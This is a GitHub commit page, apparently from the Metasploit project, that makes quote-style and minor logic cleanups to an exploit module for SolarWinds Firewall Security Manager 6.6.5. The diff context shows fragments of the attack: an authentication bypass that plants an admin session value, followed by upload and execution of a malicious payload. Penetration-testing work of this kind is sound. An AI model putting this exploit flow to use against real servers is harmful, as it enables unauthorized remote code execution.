Skip to content

Commit

Permalink
Do minor cleanup
Browse files Browse the repository at this point in the history
  • Loading branch information
jvazquez-r7 committed Apr 3, 2015
1 parent 0b14a18 commit 7c9b19c
Showing 1 changed file with 7 additions and 7 deletions.
14 changes: 7 additions & 7 deletions modules/exploits/windows/http/solarwinds_fsm_userlogin.rb
Original file line number Diff line number Diff line change
Expand Up @@ -54,12 +54,12 @@ def initialize(info={})
['Solarwinds Firewall Security Manager 6.6.5', {}]
],
'Privileged' => false,
'DisclosureDate' => "Mar 13 2015",
'DisclosureDate' => 'Mar 13 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, "Base FMS directory path", '/'])
OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
], self.class)
end

Expand All @@ -86,7 +86,7 @@ def exploit
# 'admin' is there by default and you can't delete it
username = 'admin'
print_status("Auth bypass: Putting session value: username=#{username}")
sid = put_session_value('admin')
sid = put_session_value(username)
print_status("Your SID is: #{sid}")

# Stage 2 of the attack
Expand Down Expand Up @@ -185,13 +185,13 @@ def upload_exec(sid, filename, malicious_file)

if !res
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
elsif res && res.body.include?('java.lang.NoClassDefFoundError')
print_status("Payload being treated as XLS, indicates a successful upload.")
elsif res.body.include?('java.lang.NoClassDefFoundError')
print_status('Payload being treated as XLS, indicates a successful upload.')
else
print_status("Unsure of a successful upload.")
print_status('Unsure of a successful upload.')
end

print_status("Attempting to execute the payload.")
print_status('Attempting to execute the payload.')
exec_file(sid, filename)
end

Expand Down

0 comments on commit 7c9b19c

Please sign in to comment.